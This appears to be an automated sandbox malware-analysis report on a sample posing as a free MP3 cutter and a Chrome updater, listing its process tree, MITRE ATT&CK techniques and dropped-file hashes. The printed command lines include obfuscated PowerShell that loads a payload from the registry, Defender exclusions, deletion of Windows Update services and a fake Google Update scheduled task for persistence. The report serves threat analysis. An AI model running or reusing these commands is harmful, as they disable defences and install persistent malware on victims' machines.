C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
1⤵
PID:3640

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
1⤵
PID:1940

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
PID:5412

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
1⤵
PID:816

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
PID:5552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:5548
- C:\Windows\system32\cmd.exe
  cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:5016
- C:\Windows\system32\cmd.exe
  cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:6152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  PID:2612

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{db1a876a-c97f-46a7-a19c-5a34d101f10a}
1⤵
PID:6684

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 708 -p 3680 -ip 3680
1⤵
PID:3620

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scripting

T1064

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 74KB
SHA256 23fb34589af890a213d5602bd207fcb052de9e3f7afa3949e7e2f34a6aaa1e6a
MD5 d846f2ae4b0a9fd2de2d5e20763dca1f
SHA1 6df140e188411a248d694c49a63cba7a17209250
SHA512 a1ec3018025fbb94ec15d34afd98910567454a691e02fc314f9643266436d68d986eaa84404cc1b157df5615f3881f3df3ceafa30388d44fb6f5311ce0a62081
SSDEEP 1536:tAvKyo0TErErJIryz5pCfuwY6dR4BmEf5ql69EAv9:OhJ1tXBmSq8F9
MD5 SHA1 SHA512 SSDEEP

Submit Download

WindowsSecurity.exe

Path C:\ProgramData\WindowsSecurity.exe
Size 1KB
SHA256 56baf46583957c6e81f8e22bb149363bc2b2c886048b2b0d79aca1896f6c5792
MD5 d0560486aba12a1b72aca82814446193
SHA1 dda9103a63327b754026af5143b0cf26d4e2d50a
SHA512 8990b3abd05b4b0a144f6ff9e96c829d04374f905e3b513c6b9cd4935a4c2b98d1396d4b14c5d0e127474dbb589f1312958fb646c0a3929e6a300496aebd1754
MD5 SHA1 SHA512

Submit Download

103621DE9CD5414CC2538780B4B75751

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
Size 717B
SHA256 c08ccbc876cd5a7cdfa9670f9637da57f6a1282198a9bc71fc7d7247a6e5b7a8
MD5 60fe01df86be2e5331b0cdbe86165686
SHA1 2a79f9713c3f192862ff80508062e64e8e0b29bd
SHA512 ef9f9a4dedcbfe339f4f3d07fb614645596c6f2b15608bdccdad492578b735f7cb075bdaa07178c764582ee345857ec4665f90342694e6a60786bb3d9b3a3d23
MD5 SHA1 SHA512

Submit Download

103621DE9CD5414CC2538780B4B75751

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
Size 192B
SHA256 695ca83eb212d396ba88974d51d95074058877f61db9172bbcbd6072617105ac
MD5 4bee955ec8b78861711fb0d209458c33
SHA1 dedc880afb6824fb48ef2fca854030d9f773d728
SHA512 874eaa26dd576ad18f7396c3721cb9759d91a6bffe88d72a28c920514dd40eaaecd30c24f8d8d514cf4828b230552df5877a5c9d071968e5e4a8b1bcd50cf20f
MD5 SHA1 SHA512

Submit Download

FreeMP3CutterJoiner.exe

Path C:\Users\Admin\AppData\Local\Free MP3 Cutter Joiner\FreeMP3CutterJoiner.exe
Size 1.7MB
SHA256 c3c5c61b3ee7482a55cc800298ddbb904e70ba3bbbe36421ab5b820128f0ab6e
MD5 443aec41ef427181597fa2f25a6b43c4
SHA1 98cd8ac3774fc3945803b7cea8e68fe37e43ccd3
SHA512 e7d5b3594cc4ff465124dbbdfc9d187a96e8758bcba26cbdfa43faac83e7c9f78825c6fd79bd720f284003611990dcdc1e02320ff13e4ab520a56d1b94484d62
SSDEEP 24576:7EbZeI/+2VrvLjeeOx0gI+HSZPEWXWCm7XW2259Kqf2J2RBXV:7Eb8I/X9TCeO+gI+HSP5aFwLKw
MD5 SHA1 SHA512 SSDEEP

Submit Download

FreeMP3CutterJoiner.exe

Path C:\Users\Admin\AppData\Local\Free MP3 Cutter Joiner\FreeMP3CutterJoiner.exe
Size 1.2MB
SHA256 2c98173b27254e38ff2ea56ad7fcc143fcabe678011de1b106b2b12637d441b6
MD5 ff039eba264ce7c3744dd0793f6ad468
SHA1 75dba066f3ee75d187c5f4d0d22a757e65b63954
SHA512 fd37fc3adb347383f37dc8f4077a3e99379d59eaaaf4f28abafac0b6d33d4b58618cb798ad8dde06202e1b41390be652708f3187dbdacc8deb3352a7e84ac6aa
SSDEEP 24576:7EbZeI/+2VrvLjeeOx0gI+HSZPEWXWCm7XW2259Kqv:7Eb8I/X9TCeO+gI+HSP5aFwLv
MD5 SHA1 SHA512 SSDEEP

Submit Download

FreeMP3CutterJoiner.exe

Path C:\Users\Admin\AppData\Local\Free MP3 Cutter Joiner\FreeMP3CutterJoiner.exe
Size 451KB
SHA256 77bd94528808c93435fb5da9f1079317b2f8787fcaf0c2283f1c25da10d85427
MD5 85e4f20219877123147245d3b0d4abd0
SHA1 d93176e2e9d0752ae0783899f5ea4bf8e8ddf79d
SHA512 010a9234c284fe9cd4d3cb114a259aa0805c48d51273a7addd15eec6673b991b0ceab026472773d07495333422a29aeeb0068f76d4e6ca8e2468bf1109dad63e
SSDEEP 12288:FcCieAcCi8o9UccCiBIycCif2VbvvVcCiGbSmkZ2:7EbZeI/+2VrvLjx
MD5 SHA1 SHA512 SSDEEP

Submit Download

is-7SIF3.tmp

Path C:\Users\Admin\AppData\Local\Free MP3 Cutter Joiner\is-7SIF3.tmp
Size 1KB
SHA256 c2b114d25ac98200866b8db1a7b73d5daeeadce0769e80a7e39f2ca06eb83012
MD5 0742af3d6b1a9dc5bbdfe6d65efda67a
SHA1 778fd310c8346e81e318e5fe1a6a7ef673867b0e
SHA512 1718e09cb06f964626bf36fea84b45d01fb2c17f177b9f7d26aa80d0c9d86b368002a7fc3d14161e485d039d28d2764d138e85f28c4f7d0a11fd00fc993d960b
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
MD5 627073ee3ca9676911bee35548eff2b8
SHA1 4c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA512 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
MD5 SHA1 SHA512

Submit Download

iconcache_idx.db

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db
Size 14KB
SHA256 7eb91816870ad56d39a5bbd596a3f4be120f7e27caf46ec09c83abd118a882ba
MD5 92dde35d30b7a716ee411964494335c5
SHA1 c2a1318060615ee6b1d73449b6c1df7671088bf2
SHA512 4c542598a3f9180504c886258337093f1e9a86b0f61a941eb1bd82d472d158b17ef76fa6058656906d8c21fdc8c69368321b6ac8858d9e2476f9314155df9d84
SSDEEP 48:vXEKcwlaelawtuWzIyrJK5ht6AGKg9A8Zw6y0F5wkuJC7BWlZeK1:vXBZtuHyUuxyaJuJgWlZb
MD5 SHA1 SHA512 SSDEEP

Submit Download

iconcache_idx.db

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db
Size 14KB
SHA256 cf4bad9d97d79f68f42ca877266661060395690a5d1f982834fedf7182708edb
MD5 916b3a4edc1bf635037dc16fee0429be
SHA1 71098c1bb5618bdf15c9ebdba204b2cb9db8d359
SHA512 f6aa7407ca3b58022612b78c735eecd69e95dcf31e993eb6af456829e90fc9ae576f548a111e4a696ba14152a7068a22de7c5193261b35f7d8e66966b8b5d23c
SSDEEP 48:4+EKcwlaelawtuWzIyrJK5hg6AGKg9AoCZw6y0F5wkuJC7BWlZeK/:fBZtuHyU7ayaJuJgWlZZ
MD5 SHA1 SHA512 SSDEEP

Submit Download